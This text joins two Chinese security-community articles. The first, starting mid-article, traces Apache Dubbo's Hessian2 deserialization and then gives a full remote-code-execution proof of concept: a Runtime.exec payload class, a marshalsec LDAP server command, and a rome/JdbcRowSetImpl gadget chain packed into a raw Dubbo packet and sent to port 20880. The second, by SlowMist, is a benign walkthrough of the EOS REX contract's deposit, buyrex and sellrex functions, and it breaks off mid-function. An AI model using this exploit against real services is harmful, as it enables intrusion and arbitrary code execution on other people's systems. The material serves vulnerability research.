setAttachment(Constants.VERSION_KEY, in.readUTF());
//设置方法名到RpcInvocation中，用于指定调用的方法
setMethodName(in.readUTF());
try {
Object[] args;
Class<?>[] pts;
//读取方法描述
String desc = in.readUTF();
if (desc.length() == 0) {
pts = DubboCodec.EMPTY_CLASS_ARRAY;
args = DubboCodec.EMPTY_OBJECT_ARRAY;
} else {
//根据方法描述，加载入参class，存储成数组
pts = ReflectUtils.desc2classArray(desc);
args = new Object[pts.length];
for (int i = 0; i < args.length; i++) {
try {
//根据方法描述的class，反序列化读取入参对象
args[i] = in.readObject(pts[i]);
} catch (Exception e) {
if (log.isWarnEnabled()) {
log.warn("Decode argument failed: " + e.getMessage(), e);
}
}
}
}
setParameterTypes(pts);
//反序列化读取map集合，如果不为空，则全部数据放到attachment集合中
Map<String, String> map = (Map<String, String>) in.readObject(Map.class);
if (map != null && map.size() > 0) {
Map<String, String> attachment = getAttachments();
if (attachment == null) {
attachment = new HashMap<String, String>();
}
attachment.putAll(map);
setAttachments(attachment);
}
//decode argument ,may be callback
for (int i = 0; i < args.length; i++) {
args[i] = decodeInvocationArgument(channel, this, pts, i, args[i]);
}
setArguments(args);
} catch (ClassNotFoundException e) {
throw new IOException(StringUtils.toString("Read invocation data failed.", e));
} finally {
if (in instanceof Cleanable) {
((Cleanable) in).cleanup();
}
}
return this;
}
具体的消息体的组成结构为：
1.dubboVersion
2.path
3.version
4.methodName
5.methodDesc
6.paramsObject
7.map
接着，跟进默认hessian2的反序列化实现，readObject中
com.alibaba.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObject(java.lang.Class<T>)：
@Override
@SuppressWarnings("unchecked")
public <T> T readObject(Class<T> cls) throws IOException,
ClassNotFoundException {
return (T) mH2i.readObject(cls);
}
readObject对mH2这个对象进行了封装，看Hessian2ObjectInput构造方法：
private final Hessian2Input mH2i;
public Hessian2ObjectInput(InputStream is) {
mH2i = new Hessian2Input(is);
mH2i.setSerializerFactory(Hessian2SerializerFactory.SERIALIZER_FACTORY);
}
封装的类对象为Hessian2Input，跟进Hessian2Input的readObject方法实现：
public Object readObject(Class cl) throws IOException {
return this.readObject(cl, null, null);
}
@Override
public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
if (expectedClass == null || expectedClass == Object.class)
return readObject();
int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
switch (tag) {
case 'N':
return null;
case 'H': {
Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);
boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;
// fix deserialize of short type
return reader.readMap(this
, keyValuePair ? expectedTypes[0] : null
, keyValuePair ? expectedTypes[1] : null);
}
case 'M': {
String type = readType();
// hessian/3bb3
if ("".equals(type)) {
Deserializer reader;
reader = findSerializerFactory().getDeserializer(expectedClass);
return reader.readMap(this);
} else {
Deserializer reader;
reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);
return reader.readMap(this);
}
}
case 'C': {
readObjectDefinition(expectedClass);
return readObject(expectedClass);
}
case 0x60:
case 0x61:
case 0x62:
case 0x63:
case 0x64:
case 0x65:
case 0x66:
case 0x67:
case 0x68:
case 0x69:
case 0x6a:
case 0x6b:
case 0x6c:
case 0x6d:
case 0x6e:
case 0x6f: {
int ref = tag - 0x60;
int size = _classDefs.size();
if (ref < 0 || size <= ref)
throw new HessianProtocolException("'" + ref + "' is an unknown class definition");
ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);
return readObjectInstance(expectedClass, def);
}
case 'O': {
int ref = readInt();
int size = _classDefs.size();
if (ref < 0 || size <= ref)
throw new HessianProtocolException("'" + ref + "' is an unknown class definition");
ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);
return readObjectInstance(expectedClass, def);
}
case BC_LIST_VARIABLE: {
String type = readType();
Deserializer reader;
reader = findSerializerFactory().getListDeserializer(type, expectedClass);
Object v = reader.readList(this, -1);
return v;
}
case BC_LIST_FIXED: {
String type = readType();
int length = readInt();
Deserializer reader;
reader = findSerializerFactory().getListDeserializer(type, expectedClass);
boolean valueType = expectedTypes != null && expectedTypes.length == 1;
Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);
return v;
}
case 0x70:
case 0x71:
case 0x72:
case 0x73:
case 0x74:
case 0x75:
case 0x76:
case 0x77: {
int length = tag - 0x70;
String type = readType();
Deserializer reader;
reader = findSerializerFactory().getListDeserializer(null, expectedClass);
boolean valueType = expectedTypes != null && expectedTypes.length == 1;
// fix deserialize of short type
Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);
return v;
}
case BC_LIST_VARIABLE_UNTYPED: {
Deserializer reader;
reader = findSerializerFactory().getListDeserializer(null, expectedClass);
boolean valueType = expectedTypes != null && expectedTypes.length == 1;
// fix deserialize of short type
Object v = reader.readList(this, -1, valueType ? expectedTypes[0] : null);
return v;
}
case BC_LIST_FIXED_UNTYPED: {
int length = readInt();
Deserializer reader;
reader = findSerializerFactory().getListDeserializer(null, expectedClass);
boolean valueType = expectedTypes != null && expectedTypes.length == 1;
// fix deserialize of short type
Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);
return v;
}
case 0x78:
case 0x79:
case 0x7a:
case 0x7b:
case 0x7c:
case 0x7d:
case 0x7e:
case 0x7f: {
int length = tag - 0x78;
Deserializer reader;
reader = findSerializerFactory().getListDeserializer(null, expectedClass);
boolean valueType = expectedTypes != null && expectedTypes.length == 1;
// fix deserialize of short type
Object v = reader.readLengthList(this, length, valueType ? expectedTypes[0] : null);
return v;
}
case BC_REF: {
int ref = readInt();
return _refs.get(ref);
}
}
if (tag >= 0)
_offset--;
// hessian/3b2i vs hessian/3406
// return readObject();
Object value = findSerializerFactory().getDeserializer(expectedClass).readObject(this);
return value;
}
可以看到，其实现代码非常长，但是不难理解，hessian2的readObject反序列化，都是根据读到约定的字符tag，从而进行约定的数据读取处理
这样，根据我们抓包得到的序列化数据，我们就不难理解其结构组成了：
... .G.2.0.20,com.threedr3am.learn.server.boot.DemoService.1.0.hello0$Lcom/threedr3am/learn/server/boot/A;C0"com.threedr3am.learn.server.boot.A..name`.xxxxH.path0,com.threedr3am.learn.server.boot.DemoService.activelimit_filter_start_time 1577081623564 interface0,com.threedr3am.learn.server.boot.DemoService.version.1.0.timeout.3000Z
* .G.2.0.20：dubbo版本
* com.threedr3am.learn.server.boot.DemoService：path
* 1.0：version
* hello0：方法名
* Lcom/threedr3am/learn/server/boot/A;：方法描述
hessian-tag：
* C：类定义
* H：键值对
* …具体细节也不详细描述
其实，我们只要知道了dubbo协议请求的数据结构组成，那么，我们就能随意创建数据包，去进行反序列化攻击。
但是，对hessian2反序列化，有一个关键的细节，就是对于类的反射构造实例化，会有比较大的限制：
case 'C': {
readObjectDefinition(expectedClass);
return readObject(expectedClass);
}
private void readObjectDefinition(Class cl)
throws IOException {
String type = readString();
int len = readInt();
String[] fieldNames = new String[len];
for (int i = 0; i < len; i++)
fieldNames[i] = readString();
ObjectDefinition def = new ObjectDefinition(type, fieldNames);
if (_classDefs == null)
_classDefs = new ArrayList();
_classDefs.add(def);
}
从前面所说的数据包，以及C这个tag的含义，我们可以看到，数据包的反序列化，会先对方法传入参数对应的class，进行类定义的读取，接着
case 0x60:
case 0x61:
case 0x62:
case 0x63:
case 0x64:
case 0x65:
case 0x66:
case 0x67:
case 0x68:
case 0x69:
case 0x6a:
case 0x6b:
case 0x6c:
case 0x6d:
case 0x6e:
case 0x6f: {
int ref = tag - 0x60;
int size = _classDefs.size();
if (ref < 0 || size <= ref)
throw new HessianProtocolException("'" + ref + "' is an unknown class definition");
ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);
return readObjectInstance(expectedClass, def);
}
进行实例的反序列化
private Object readObjectInstance(Class cl, ObjectDefinition def)
throws IOException {
String type = def.getType();
String[] fieldNames = def.getFieldNames();
if (cl != null) {
Deserializer reader;
reader = findSerializerFactory().getObjectDeserializer(type, cl);
return reader.readObject(this, fieldNames);
} else {
return findSerializerFactory().readObject(this, type, fieldNames);
}
}
可以看到`String type = def.getType();`读取了类定义，接着`String[] fieldNames =
def.getFieldNames();`读取了类字段集合
因为反序列化的是java类，因此，Deserializer的实现为com.alibaba.com.caucho.hessian.io.JavaDeserializer，跟进其构造方法，可以看到：
public JavaDeserializer(Class cl) {
_type = cl;
_fieldMap = getFieldMap(cl);
_readResolve = getReadResolve(cl);
if (_readResolve != null) {
_readResolve.setAccessible(true);
}
Constructor[] constructors = cl.getDeclaredConstructors();
long bestCost = Long.MAX_VALUE;
for (int i = 0; i < constructors.length; i++) {
Class[] param = constructors[i].getParameterTypes();
long cost = 0;
for (int j = 0; j < param.length; j++) {
cost = 4 * cost;
if (Object.class.equals(param[j]))
cost += 1;
else if (String.class.equals(param[j]))
cost += 2;
else if (int.class.equals(param[j]))
cost += 3;
else if (long.class.equals(param[j]))
cost += 4;
else if (param[j].isPrimitive())
cost += 5;
else
cost += 6;
}
if (cost < 0 || cost > (1 << 48))
cost = 1 << 48;
cost += (long) param.length << 48;
if (cost < bestCost) {
_constructor = constructors[i];
bestCost = cost;
}
}
if (_constructor != null) {
_constructor.setAccessible(true);
Class[] params = _constructor.getParameterTypes();
_constructorArgs = new Object[params.length];
for (int i = 0; i < params.length; i++) {
_constructorArgs[i] = getParamArg(params[i]);
}
}
}
可以看到，构造方法的选择，只选择花销最小并且只有基本类型传入的构造方法，而这，就是hessian2反序列化中最大的限制。
最终执行其reader.readObject(this, fieldNames)方法，完成类的反射方式实例化
@Override
public Object readObject(AbstractHessianInput in, String[] fieldNames)
throws IOException {
try {
Object obj = instantiate();
return readObject(in, obj, fieldNames);
} catch (IOException e) {
throw e;
} catch (RuntimeException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(_type.getName() + ":" + e.getMessage(), e);
}
}
protected Object instantiate()
throws Exception {
try {
if (_constructor != null)
return _constructor.newInstance(_constructorArgs);
else
return _type.newInstance();
} catch (Exception e) {
throw new HessianProtocolException("'" + _type.getName() + "' could not be instantiated", e);
}
}
并在实例化后，把字段值设置进去
public Object readObject(AbstractHessianInput in,
Object obj,
String[] fieldNames)
throws IOException {
try {
int ref = in.addRef(obj);
for (int i = 0; i < fieldNames.length; i++) {
String name = fieldNames[i];
FieldDeserializer deser = (FieldDeserializer) _fieldMap.get(name);
if (deser != null)
deser.deserialize(in, obj);
else
in.readObject();
}
Object resolve = resolve(obj);
if (obj != resolve)
in.setRef(ref, resolve);
return resolve;
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(obj.getClass().getName() + ":" + e, e);
}
}
### 0x04 反序列化利用(hessian2)
在上一节中，详细的描述了dubbo默认的hessian2反序列化，通过上一节，我们也清楚的理解了hessian2的反序列化大概源码执行流程，以及其反序列化攻击的利用限制。
对其整理一下：
1. 默认dubbo协议+hessian2序列化方式
2. 序列化tcp包可随意修改方法参数反序列化的class
3. 反序列化时先通过构造方法实例化，然后在反射设置字段值
4. 构造方法的选择，只选择花销最小并且只有基本类型传入的构造方法
由此，想要rce，估计得找到以下条件的gadget clain：
1. 有参构造方法
2. 参数不包含非基本类型
3. cost最小的构造方法并且全部都是基本类型或String
这样的利用条件太苛刻了，不过万事没绝对，参考marshalsec，可以利用rome依赖使用HashMap触发key的hashCode方法的gadget
chain来打，以下是对hessian2反序列化map的源码跟踪：
@Override
@SuppressWarnings("unchecked")
public <T> T readObject(Class<T> cls) throws IOException,
ClassNotFoundException {
return (T) mH2i.readObject(cls);
}
->
@Override
public Object readObject(Class cl)
throws IOException {
return readObject(cl, null, null);
}
->
@Override
public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
//...
switch (tag) {
//...
case 'H': {
Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);
boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;
// fix deserialize of short type
return reader.readMap(this
, keyValuePair ? expectedTypes[0] : null
, keyValuePair ? expectedTypes[1] : null);
}
//...
}
}
->
@Override
public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
doReadMap(in, map, expectKeyType, expectValueType);
in.readEnd();
return map;
}
->
protected void doReadMap(AbstractHessianInput in, Map map, Class<?> keyType, Class<?> valueType) throws IOException {
Deserializer keyDeserializer = null, valueDeserializer = null;
SerializerFactory factory = findSerializerFactory(in);
if(keyType != null){
keyDeserializer = factory.getDeserializer(keyType.getName());
}
if(valueType != null){
valueDeserializer = factory.getDeserializer(valueType.getName());
}
while (!in.isEnd()) {
map.put(keyDeserializer != null ? keyDeserializer.readObject(in) : in.readObject(),
valueDeserializer != null? valueDeserializer.readObject(in) : in.readObject());
}
}
从上面贴出来的部分执行栈信息，可以清晰的看到，最终在反序列化中实例化了新的HashMap，然后把反序列化出来的实例put进去，因此，会触发key的hashCode方法。
创建gadget chain：
* 具有rome依赖的gadget chain
依赖
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
创建恶意class，放到http服务器（80端口）
public class ExecObject {
static {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}
启动ldap服务
java -jar marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#ExecObject 44321
构造payload
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:43658/ExecObject");
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.0.2");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
out.writeUTF("com.threedr3am.learn.server.boot.DemoService");
out.writeUTF("1.0");
out.writeUTF("hello");
//todo 方法描述不需要修改，因为此处需要指定map的payload去触发
out.writeUTF("Ljava/util/Map;");
out.writeObject(s);
out.writeObject(new HashMap());
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
我这里把gadget
chain的demo放在github上，感兴趣的可以clone下来试试：<https://github.com/threedr3am/learnjavabug>
具体代码位于com.threedr3am.bug.dubbo.JdbcRowSetImplPoc
* 其它gadget chain
除了rome外，还有其它的gadget chains，例如bcel加载器等等，这里就不写出来了。 | 社区文章 |
**作者：慢雾安全团队
公众号：<https://mp.weixin.qq.com/s/jCWFbjphB6lRE55ANxpBsA>**
## 前言
伴随着 REX 提案终于被 BP 们投票通过，炒了半年概念的 REX
终于上线了，这个号称稳赚不亏的投资项目吸引了众多人的目光，同时也霸占了各大区块链媒体的头条，其火热程度不亚于平台币，一上线便涌入了大量的资金。但是 REX
究竟是什么呢？REX 又有什么用？本系列基于 rex1.6.0-rc2 源码进行分析，给出相关的细节及答案。
## 什么是 REX
REX，全称 Resource Exchange，即资源交易所，是为了提供一个更好的资源租赁平台，缓解EOS高昂的资源使用成本，以更少的 EOS
换取更多的资源。同时也可以增加用户投票，促进 EOS 系统的良性运转。现在市面上有许多资源租赁 DApp，目的也是为了用于缓解 CPU 紧缺的问题。REX
与这些平台一样，都是充当租赁平台的角色，不同的是资源出租方不再是 DApp，而是每一个 EOS
持有者都能成为资源出租方，并享受收益。这里需要重点声明的是，REX 不是一种代币，而是一个资源租赁平台！用户购买的 REX 只是流转于 REX
租赁平台内的一种通证，用于证明用户出租了资源，这种通证 本身不可流转，无法交易。类似于国债，REX 就是手中的债券。为了区分这两个概念，下文统一将 REX
资源租赁平台称为 REX。而用户购买得到的通证称为 rex。
更详细的资料可以参看BM自己的文章： <https://medium.com/@bytemaster/proposal-for-eos-resource-renting-rent-distribution-9afe8fb3883a>
## REX 攻略
对于一般用户而言，买卖 rex 只需要接触到以下几个接口，分别是： 1、depodit：用于充值，将 EOS 变成 SEOS，也叫预备金。
2、withdraw：用与提现，将 SEOS 换回 EOS。 3、buyrex：用于从用户的预备金中扣除相应的份额，并用于 rex 的购买。
4、sellrex：用于卖出已经结束锁定的REX，并将本金连带收益一起放进用户的预备金账户中。 5、unstaketorex：将用于抵押中的资源用于 rex
的购买 下面，我们一起来看下这几个函数的实现，了解资金的流向
## deposit 函数
deposit 函数是用户参与 REX 的第一个接口，顾名思义，用户充值以备后来购买
rex。就像去游戏厅充值游戏币一样，先把人民币换成游戏厅的点数冲进卡里，然后用这张卡进行后续的游戏，后续的所有花费都是基于这张卡的。REX
也是相同的道理，后续所有的买卖操作都基于这个储备金账户。deposit 函数的具体实现如下：
void system_contract::deposit( const name& owner, const asset& amount )
{
require_auth( owner );
check( amount.symbol == core_symbol(), "must deposit core token" );
check( 0 < amount.amount, "must deposit a positive amount" );
INLINE_ACTION_SENDER(eosio::token, transfer)( token_account, { owner, active_permission },
{ owner, rex_account, amount, "deposit to REX fund" } );///充值进rex账户
transfer_to_fund( owner, amount );///初始化用户余额，不存在用户则新增用户，存在则累加金额
update_rex_account( owner, asset( 0, core_symbol() ), asset( 0, core_symbol() ) );
}
我们不需要了解每一行的具体实现，但是大概的道理是需要明白的。deposit 函数做了以下事情：
1、首先在第三行校验了用户权限，总不能平白无故的让别人给自己买了 rex，绕过自己的意志。 2、在第五行和第六行对购买金额和代币的信息进行校验，不能拿假的
EOS 来买，也不能买个负数的，保证 REX 的安全性 3、把用户的 EOS 打进 eosio.rex 账户，你的钱就从你的口袋，转到了 eosio.rex
系统账户上了。 4、调用 transfer_to_fund
接口，把用户的充值金额用小本本记起来，这相当我们的储备金钱包，在数据体现上是一个表，后续将根据这个表进行 rex 的购买。 5、调用
update_rex_account 接口，这个接口在输入不同的参数的时候有不同的功能，这里是用于处理用户的卖单，把用户卖 rex
得到的收益一并整理进储备金账户中。
## withdraw 函数
withdraw 函数是 deposit 函数的反向接口，用于将储备金账户中的余额转移到用户的 EOS
账户中，就像你在游戏厅玩够了，卡里还有点数，或玩游戏赢到点数放进卡里，就可以用卡里的点数换回人民币，下次再来，withdraw
函数的道理也是一样的。withdraw 函数的具体实现如下：
void system_contract::withdraw( const name& owner, const asset& amount )
{
require_auth( owner );
check( amount.symbol == core_symbol(), "must withdraw core token" ); ///EOS符号校验
check( 0 < amount.amount, "must withdraw a positive amount" );
update_rex_account( owner, asset( 0, core_symbol() ), asset( 0, core_symbol() ) );
transfer_from_fund( owner, amount );
INLINE_ACTION_SENDER(eosio::token, transfer)( token_account, { rex_account, active_permission },
{ rex_account, owner, amount, "withdraw from REX fund" } );
}
与 deposit 函数大致一样，withdraw 函数同样对 EOS 代币的信息进行了相关的校验，与 deposit 函数不一样的是，withdraw
函数调用 update_rex_account 接口和 transfer_from_fund 接口的顺序与 deposit
函数不一样。但目的都是为了处理用户的 rex 卖单，将收益归结金储备金账户中。分别用于提现或购买 rex。这里详细的细节分析将放到后续文章之中。
## buyrex 函数
折腾了那么久，怎么充值看完了，怎么提现也看完了，下面就到了我们最关心的问题，就是该怎么买的问题了。买 rex 调用的接口为 buyrex
函数，函数的具体实现如下：
void system_contract::buyrex( const name& from, const asset& amount )
{
require_auth( from );
check( amount.symbol == core_symbol(), "asset must be core token" );
check( 0 < amount.amount, "must use positive amount" );
check_voting_requirement( from );//检查用户是否投票
transfer_from_fund( from, amount ); //从用户的基金中扣除，需要先通过despoit函数进行充值之后才能进行rex的购买
const asset rex_received = add_to_rex_pool( amount ); //计算能获得的rex的数量
const asset delta_rex_stake = add_to_rex_balance( from, amount, rex_received ); ///更改用户账户中的rex的数量
runrex(2);
update_rex_account( from, asset( 0, core_symbol() ), delta_rex_stake );
// dummy action added so that amount of REX tokens purchased shows up in action trace
dispatch_inline( null_account, "buyresult"_n, { }, std::make_tuple( rex_received ) );
}
和前面两个函数一样，buyrex 函数同样也校验了代币的相关信息，然后使用 transfer_from_fund
函数从用户的储备金中扣除响应的金额。除此之外，我们还应该关注另外三个函数，分别是
check_voting_requirement，add_to_rex_pool 和
add_to_rex_balance。这三个函数分别用于检查用户是否投票、计算能购买到的 rex 的数量并把相应增加的 rex 数量加到 rexpool
中、记录用户购买的 rex 信息并计算用户购买的 rex 的解锁时间。那么，我们能获取到的 rex 的数量是怎么计算出来的呢？从源码上我们可以看到，计算
rex 的数量调用了 add_to_rex_pool 函数。所以，下面将着重分析 add_to_rex_pool 函数。
## add_to_rex_pool 函数
add_to_rex_pool 函数用于将用户购买的 rex 放进 rex_pool 中，并根据 rex_pool 中的相关信息计算出用户能够购买的 rex
的数量。首先我们先看下 rex_pool 表的定义
struct [[eosio::table,eosio::contract("eosio.system")]] rex_pool {
uint8_t version = 0;
asset total_lent; /// total amount of CORE_SYMBOL in open rex_loans
asset total_unlent; /// total amount of CORE_SYMBOL available to be lent (connector)
asset total_rent; /// fees received in exchange for lent (connector)
asset total_lendable; /// total amount of CORE_SYMBOL that have been lent (total_unlent + total_lent)
asset total_rex; /// total number of REX shares allocated to contributors to total_lendable
asset namebid_proceeds; /// the amount of CORE_SYMBOL to be transferred from namebids to REX pool
uint64_t loan_num = 0; /// increments with each new loan
uint64_t primary_key()const { return 0; }
};
以上是 rex_pool 表的定义，其中定义了8个字段，除去 version 参数，我们分别一个一个解释每个参数的意思
1、total_lent：用于记录总共被借出了多少的 cpu 资源和 net 资源，这个资源是以 EOS 为单位的。
2、total_unlent：记录 rex_pool 中未用于出借的 EOS 资源。包括用户因为购买 rex
所产生的可用于出租的金额，租用资源的用户的租金。 这其中有一部会因为出租资源而锁定的金额(30天后自动解锁)，是一个 connector，用于 bancor
操作，计算一定数量的 EOS 可租借的资源。
3、total_rent：用于记录用户在租用资源的时候支付的租金，是一个
connector，其反应了租借资源的用户的多少。用于bancor操作，计算一定数量的 EOS 可租借的资源。
4、total_lenable:可以说是整个 rex_pool 的所有资金，计算公式为 total_unlent +
total_lent。这里的资金来源还包括 name bid 的竞拍费用以及 ram fee。这个参数同时和用户的收益息息相关。
5、total_rex：rex_pool 中 rex 的总量，其来源于用户购买 rex。
6、namebid_proceeds：记录竞拍账户产生的费用。
7、loan_num：记录出租资源的总次数。
明白了以上字段的定义，我么现在正式看看 add_to_rex_pool 函数，以下是函数的具体实现。
asset system_contract::add_to_rex_pool( const asset& payment )
{
/**
* If CORE_SYMBOL is (EOS,4), maximum supply is 10^10 tokens (10 billion tokens), i.e., maximum amount
* of indivisible units is 10^14. rex_ratio = 10^4 sets the upper bound on (REX,4) indivisible units to
* 10^18 and that is within the maximum allowable amount field of asset type which is set to 2^62
* (approximately 4.6 * 10^18). For a different CORE_SYMBOL, and in order for maximum (REX,4) amount not
* to exceed that limit, maximum amount of indivisible units cannot be set to a value larger than 4 * 10^14.
* If precision of CORE_SYMBOL is 4, that corresponds to a maximum supply of 40 billion tokens.
*/
const int64_t rex_ratio = 10000;
const int64_t init_total_rent = 20'000'0000; /// base amount prevents renting profitably until at least a minimum number of core_symbol() is made available
asset rex_received( 0, rex_symbol );
auto itr = _rexpool.begin();
if ( !rex_system_initialized() ) {
/// initialize REX pool
_rexpool.emplace( _self, [&]( auto& rp ) {
rex_received.amount = payment.amount * rex_ratio; ///计算能获得的rex的数量
rp.total_lendable = payment;///由于用户 buy rex，使得 rex pool 中有可出租的 EOS，所以 rex_lendable 为首位用户的购买资金
rp.total_lent = asset( 0, core_symbol() );///初始化rex pool，暂时还没有人借资源
rp.total_unlent = rp.total_lendable - rp.total_lent; ///计算还能借的
rp.total_rent = asset( init_total_rent, core_symbol() );
rp.total_rex = rex_received;
rp.namebid_proceeds = asset( 0, core_symbol() );
});
} else if ( !rex_available() ) { /// should be a rare corner case, REX pool is initialized but empty
_rexpool.modify( itr, same_payer, [&]( auto& rp ) {
rex_received.amount = payment.amount * rex_ratio;
rp.total_lendable.amount = payment.amount;
rp.total_lent.amount = 0;
rp.total_unlent.amount = rp.total_lendable.amount - rp.total_lent.amount;
rp.total_rent.amount = init_total_rent;
rp.total_rex.amount = rex_received.amount;
});
} else {
/// total_lendable > 0 if total_rex > 0 except in a rare case and due to rounding errors
check( itr->total_lendable.amount > 0, "lendable REX pool is empty" );
const int64_t S0 = itr->total_lendable.amount;
const int64_t S1 = S0 + payment.amount;
const int64_t R0 = itr->total_rex.amount;
const int64_t R1 = (uint128_t(S1) * R0) / S0;
rex_received.amount = R1 - R0; ///计算能获得的rex
_rexpool.modify( itr, same_payer, [&]( auto& rp ) {
rp.total_lendable.amount = S1;
rp.total_rex.amount = R1;
rp.total_unlent.amount = rp.total_lendable.amount - rp.total_lent.amount;
check( rp.total_unlent.amount >= 0, "programmer error, this should never go negative" );
});
}
return rex_received;
首先我们看下我们能购买到的 rex 是怎么计算的。当 rex_pool 迎来第一个购买 rex 的用户的时候，获得 rex
的获取比例是1:10000，即1个 EOS 换10000个 rex，往后购买 rex 的用于按照公式（(uint128_t(S1) * R0) / S0)
- R0计算能获取的 rex。看起来很复杂对不对？我们对公式进行分解下，首先进行以下转换，公式变为（S1 / S0 * R0) - R0,再代入
S1，得到((S0 + payment) / S0 * R0) - R0，最后我们进行分解再去括号，得到 R0 + (payment / S0) * R0
- R0。最后这个公式就变成了(payment / S0) * R0。再变一下，变成 payment * (R0 / S0),即用户用于购买 rex
的资金乘以当前 rex_pool 中的 EOS 总资产与 rex_pool 中的 rex 的总量之间的比例。这个比例在没有第三方资金如账户竞拍费用，ram
fee 等的干扰下是固定不变的，为1:10000。但是当有第三方资金入场的时候，作为分母的 S0 就会不断变大，那么这个比例就不断变小，同样的金额能买到的
rex 就会越来越少。通过上面的分析，我们知道，在有第三方资金的参与下，rex 买得越早最早，能买到的数量就越多。`rex
的价格与购买的人数无关，而与租借资源的数量，系统竞拍资源产生的收益，以及 ram fee有关`。
## sellrex 函数
那么，现在流程走到这里，剩下的就是计算收益的问题了。用于处理用户出租 EOS 资源产生收益的计算细节的实现全部在 sellrex 函数中。以下是
sellrex 函数的具体实现。
void system_contract::sellrex( const name& from, const asset& rex )
{
require_auth( from );
runrex(2);
auto bitr = _rexbalance.require_find( from.value, "user must first buyrex" );
check( rex.amount > 0 && rex.symbol == bitr->rex_balance.symbol,
"asset must be a positive amount of (REX, 4)" );
process_rex_maturities( bitr ); ///先收获成熟的rex
check( rex.amount <= bitr->matured_rex, "insufficient available rex" );///只能卖成熟的rex
auto current_order = fill_rex_order( bitr, rex );///拿到出租EOS得到的分红
asset pending_sell_order = update_rex_account( from, current_order.proceeds, current_order.stake_change );
//订单状态不成功
if ( !current_order.success ) {
/**
* REX order couldn't be filled and is added to queue.
* If account already has an open order, requested rex is added to existing order.
*/
auto oitr = _rexorders.find( from.value );
if ( oitr == _rexorders.end() ) {
oitr = _rexorders.emplace( from, [&]( auto& order ) {
order.owner = from;
order.rex_requested = rex;
order.is_open = true;
order.proceeds = asset( 0, core_symbol() );
order.stake_change = asset( 0, core_symbol() );
order.order_time = current_time_point();
});
} else {
_rexorders.modify( oitr, same_payer, [&]( auto& order ) {
order.rex_requested.amount += rex.amount;
});
}
pending_sell_order.amount = oitr->rex_requested.amount;
}
check( pending_sell_order.amount <= bitr->matured_rex, "insufficient funds for current and scheduled orders" );
// dummy action added so that sell order proceeds show up in action trace
if ( current_order.success ) {
dispatch_inline( null_account, "sellresult"_n, { }, std::make_tuple( current_order.proceeds ) );
}
}
这个 sellrex
函数有很多学问，完整说下来可能不是这篇短短的分析能写完的，但是可以分析我们最关心的问题，就是获得的收益是怎么计算出来的。首先我们不管其他细节，先看看在真正计算收益之前做了什么。主要分为以下几步：
1、检查用户购买了 rex 没有，总不能没买就能卖对吧。
2、通过 process_rex_maturities 函数计算结束锁定的 rex，用户从购买的 rex 到卖 rex 需要4天的释放期。
3、检测需要卖出的 rex 的数量是否小于结束锁定的REX的数量。
通过以上几步检查之后，就真正进入了结算函数。rex 的收益结算是通过 fill_rex_order 接口实现的。看下具体实现
## fill_rex_order
rex_order_outcome system_contract::fill_rex_order( const rex_balance_table::const_iterator& bitr, const asset& rex )
{
auto rexitr = _rexpool.begin();
